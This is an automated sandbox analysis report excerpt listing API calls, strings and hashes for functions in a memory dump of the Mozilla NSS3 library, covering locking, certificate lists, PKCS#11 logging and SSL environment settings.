Opcode Fuzzy Hash: 319d1be3788459ae0a101627d59e98e622cdcaff912a073fb0e095345f905ebb
Instruction Fuzzy Hash: F351A5B1E002155BEF00DF659C81AAF7BB9AF85359F144029E819E7B10F731D915CBE2

Function 6CC42D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CC42DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CC42E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC42E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC42E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CC14F1C,?,-00000001,00000000,?), ref: 6CC42E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CC14F1C,?,-00000001,00000000), ref: 6CC42E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC42EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC42EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC42EF8
PR_Unlock.NSS3(?), ref: 6CC42F62
TlsGetValue.KERNEL32 ref: 6CC42F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC42F9E
PR_Unlock.NSS3(?), ref: 6CC42FCA
TlsGetValue.KERNEL32 ref: 6CC4301A
EnterCriticalSection.KERNEL32(?), ref: 6CC4302E
PR_Unlock.NSS3(?), ref: 6CC43066
PR_SetError.NSS3(00000000,00000000), ref: 6CC43085
PR_Unlock.NSS3(?), ref: 6CC430EC
TlsGetValue.KERNEL32 ref: 6CC4310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC43124
PR_Unlock.NSS3(?), ref: 6CC4314C

Part of subcall function 6CC29180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CC5379E,?,6CC29568,00000000,?,6CC5379E,?,00000001,?), ref: 6CC2918D
Part of subcall function 6CC29180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CC5379E,?,6CC29568,00000000,?,6CC5379E,?,00000001,?), ref: 6CC291A0

Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07AD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07CD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07D6
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB8204A), ref: 6CBF07E4
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,6CB8204A), ref: 6CBF0864
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBF0880
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB8204A), ref: 6CBF08CB
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08D7
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08FB

PR_SetError.NSS3(00000000,00000000), ref: 6CC4316D

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 26fdce44c5dda5469d5972b8007d8d2915f5846b51a58aba2511234de5e287b7
Instruction ID: 710d224eebaae2fedc6cb83fa0cf29c972765d755ef06e57d3d642ebe061b824
Opcode Fuzzy Hash: 26fdce44c5dda5469d5972b8007d8d2915f5846b51a58aba2511234de5e287b7
Instruction Fuzzy Hash: BAF1AEB1D00219DFEF00DFA4D845BADBBB8BF09318F588169ED05A7711E731A986CB91

Function 6CC3AF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CC3AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC3AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC3AF83

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC3AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CC3AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CC3AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CC3AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CC3B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CC3B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CC3B041

Strings

ulParameterLen = 0x%p, xrefs: 6CC3AFD4
C_SignMessage, xrefs: 6CC3AF41
ulDataLen = %d, xrefs: 6CC3B00A
(CK_INVALID_HANDLE), xrefs: 6CC3AF7C
pulSignatureLen = 0x%p, xrefs: 6CC3B03C
pParameter = 0x%p, xrefs: 6CC3AFB9
hSession = 0x%x, xrefs: 6CC3AF5E, 6CC3AF6E
pSignature = 0x%p, xrefs: 6CC3B023
pData = 0x%p, xrefs: 6CC3AFEF

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 1ed1a87391fa54e29bc820f7ce9944a01c8dd8dc6d6663442034903c33a9c2b4
Instruction ID: b591acc9f0d106a06258cc07161b56614849ecbb7a2cde412d1f82dffffe8971
Opcode Fuzzy Hash: 1ed1a87391fa54e29bc820f7ce9944a01c8dd8dc6d6663442034903c33a9c2b4
Instruction Fuzzy Hash: 0241E375604054AFEB00DF55EC58EA97BB9EB4234DF084025F60C67A31E7389869CFB5

Function 6CC29FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CC29FBE

Part of subcall function 6CC02F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CC02F0A
Part of subcall function 6CC02F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC02F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC2A015

Part of subcall function 6CC41940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CC4563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CC4195C
Part of subcall function 6CC41940: EnterCriticalSection.KERNEL32(?,?,6CC4563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CC1EAC5,00000001), ref: 6CC41970
Part of subcall function 6CC41940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CC1EAC5,00000001,?,6CC1CE9B,00000001,6CC1EAC5), ref: 6CC419A0

PL_FreeArenaPool.NSS3(?), ref: 6CC2A067
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC2A055

Part of subcall function 6CB84C70: TlsGetValue.KERNEL32(?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84C97
Part of subcall function 6CB84C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CB0
Part of subcall function 6CB84C70: PR_Unlock.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2A07E
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC2A0B1
PL_FreeArenaPool.NSS3(?), ref: 6CC2A0C7
PL_FinishArenaPool.NSS3(?), ref: 6CC2A0CF
PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC2A12E
PL_FreeArenaPool.NSS3(?), ref: 6CC2A140
PL_FinishArenaPool.NSS3(?), ref: 6CC2A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2A158
PL_FinishArenaPool.NSS3(?), ref: 6CC2A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CC2A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CC2A1B2
free.MOZGLUE(00000000), ref: 6CC2A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CC2A1D6

Part of subcall function 6CC455E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CC1EAC5,00000001,?,6CC1CE9B,00000001,6CC1EAC5,00000003,-00000004,00000000,?,6CC1EAC5), ref: 6CC45627
Part of subcall function 6CC455E0: PR_CallOnce.NSS3(6CD62AA4,6CC612D0,?,?,?,?,?,?,?,?,?,?,6CC1EAC5,00000001,?,6CC1CE9B), ref: 6CC4564F
Part of subcall function 6CC455E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC1EAC5,00000001), ref: 6CC45661
Part of subcall function 6CC455E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC1EAC5), ref: 6CC456AF

Strings

security, xrefs: 6CC2A00F

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 3f8362e8cb6c469b2f5222d73115b0583c7f7d5d04394facb63e47414f833715
Instruction ID: 0f16123185d7ce7923e4fc842a7f3ac0cb4d29b5e046e4068971a1756702a4c3
Opcode Fuzzy Hash: 3f8362e8cb6c469b2f5222d73115b0583c7f7d5d04394facb63e47414f833715
Instruction Fuzzy Hash: 1A51D875E00209ABEB00DBA59D84BAEB378AF8571CF104124E906AAF51F779D509C792

Function 6CC46CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC46910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CC46943
Part of subcall function 6CC46910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CC46957
Part of subcall function 6CC46910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CC46972
Part of subcall function 6CC46910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CC46983
Part of subcall function 6CC46910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CC469AA
Part of subcall function 6CC46910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CC469BE
Part of subcall function 6CC46910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CC469D2
Part of subcall function 6CC46910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CC469DF
Part of subcall function 6CC46910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CC46A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC46D8C
free.MOZGLUE(00000000), ref: 6CC46DC5
free.MOZGLUE(?), ref: 6CC46DD6
free.MOZGLUE(?), ref: 6CC46DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC46E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC46E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC46E72
free.MOZGLUE(?), ref: 6CC46EA7
free.MOZGLUE(?), ref: 6CC46EC4
free.MOZGLUE(?), ref: 6CC46ED5
free.MOZGLUE(00000000), ref: 6CC46EE3
free.MOZGLUE(?), ref: 6CC46EF4
free.MOZGLUE(?), ref: 6CC46F08
free.MOZGLUE(00000000), ref: 6CC46F35
free.MOZGLUE(?), ref: 6CC46F44
free.MOZGLUE(?), ref: 6CC46F5B
free.MOZGLUE(00000000), ref: 6CC46F65

Part of subcall function 6CC46C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC4781D,00000000,6CC3BE2C,?,6CC46B1D,?,?,?,?,00000000,00000000,6CC4781D), ref: 6CC46C40
Part of subcall function 6CC46C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC4781D,?,6CC3BE2C,?), ref: 6CC46C58
Part of subcall function 6CC46C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC4781D), ref: 6CC46C6F
Part of subcall function 6CC46C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC46C84
Part of subcall function 6CC46C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC46C96
Part of subcall function 6CC46C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC46CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC46F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CC46FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CC46FF4

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 09eedf5db2e9dc4d9b581b899dfdcabd03de3f90f8793c44ef83558d789a7b6f
Instruction ID: 5d062326f48539d85eb971f81d7f67f32bf6362420caebf4fe896db6e30a6daf
Opcode Fuzzy Hash: 09eedf5db2e9dc4d9b581b899dfdcabd03de3f90f8793c44ef83558d789a7b6f
Instruction Fuzzy Hash: C5B15FB4E01A199FEF00DBA5D884B9E7BF8AF09348F14C025E915E7A45F731E914CB61

Function 6CC44C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC44C4C
EnterCriticalSection.KERNEL32(?), ref: 6CC44C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CC44CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44DB7

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07AD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07CD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07D6
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB8204A), ref: 6CBF07E4
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,6CB8204A), ref: 6CBF0864
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBF0880
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB8204A), ref: 6CBF08CB
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08D7
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08FB

TlsGetValue.KERNEL32 ref: 6CC44DD7
EnterCriticalSection.KERNEL32(?), ref: 6CC44DEC
PR_Unlock.NSS3(?), ref: 6CC44E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CC44E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC44E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CC44E71
free.MOZGLUE(00000000), ref: 6CC44E7A
PR_Unlock.NSS3(?), ref: 6CC44EA2
TlsGetValue.KERNEL32 ref: 6CC44EC1
EnterCriticalSection.KERNEL32(?), ref: 6CC44ED6
PR_Unlock.NSS3(?), ref: 6CC44F01
free.MOZGLUE(00000000), ref: 6CC44F2A

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: b0d977ad690f7dae9887faab4c37540800105140aacdf1ef809b7206e8fe551d
Instruction ID: d75d3c6ed8b64baac82871227beddcc00e3cbc95e57044df80af86dfd85efdcb
Opcode Fuzzy Hash: b0d977ad690f7dae9887faab4c37540800105140aacdf1ef809b7206e8fe551d
Instruction Fuzzy Hash: 14B10475E002069FEB00DF69D884BAAB7B8BF09318F64C164ED1597B11FB30E955CBA1

Function 6CC4FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC4FFB4

Part of subcall function 6CCC98D0: calloc.MOZGLUE(00000001,00000084,6CBF0936,00000001,?,6CBF102C), ref: 6CCC98E5

PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC4FFC6

Part of subcall function 6CCC98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CCC9946
Part of subcall function 6CCC98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB816B7,00000000), ref: 6CCC994E
Part of subcall function 6CCC98D0: free.MOZGLUE(00000000), ref: 6CCC995E

PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC4FFD6
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC4FFE6
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC4FFF6
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50006
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50016
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50026
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50036
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50046
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50056
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50066
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50076
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50086
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC50096
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC500A6
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC500B6
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC500C6
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC500D6
PR_NewLock.NSS3(?,?,6CC476C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC175C2,00000000), ref: 6CC500E6

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 7ccd2c7cb1ab4b5401be98a90659515fa69015d24145564cb242d08eb990c22d
Instruction ID: 4675f1f156f30f31e9e8b57dfe4f336c1a346f63c8ab1483212e6b27f9d5e224
Opcode Fuzzy Hash: 7ccd2c7cb1ab4b5401be98a90659515fa69015d24145564cb242d08eb990c22d
Instruction Fuzzy Hash: 613131F1F01619DEAB49DF27C58816A3ABCB736A4CF00416ED24487750E7B4224ACFB6

Function 6CC96E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CC96BF7), ref: 6CC96EB6

Part of subcall function 6CBF1240: TlsGetValue.KERNEL32(00000040,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1267
Part of subcall function 6CBF1240: EnterCriticalSection.KERNEL32(?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF127C
Part of subcall function 6CBF1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1291
Part of subcall function 6CBF1240: PR_Unlock.NSS3(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CD3FC0A,6CC96BF7), ref: 6CC96ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC96EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CC96EFC
PR_NewLock.NSS3 ref: 6CC96F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC96F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CC96BF7), ref: 6CC96F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CC96BF7), ref: 6CC96F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CC96BF7), ref: 6CC96FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CC96BF7), ref: 6CC96FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6CC96FF8
SSLKEYLOGFILE, xrefs: 6CC96EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CC96EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CC96F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CC96FDB
SSLFORCELOCKS, xrefs: 6CC96F2B

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
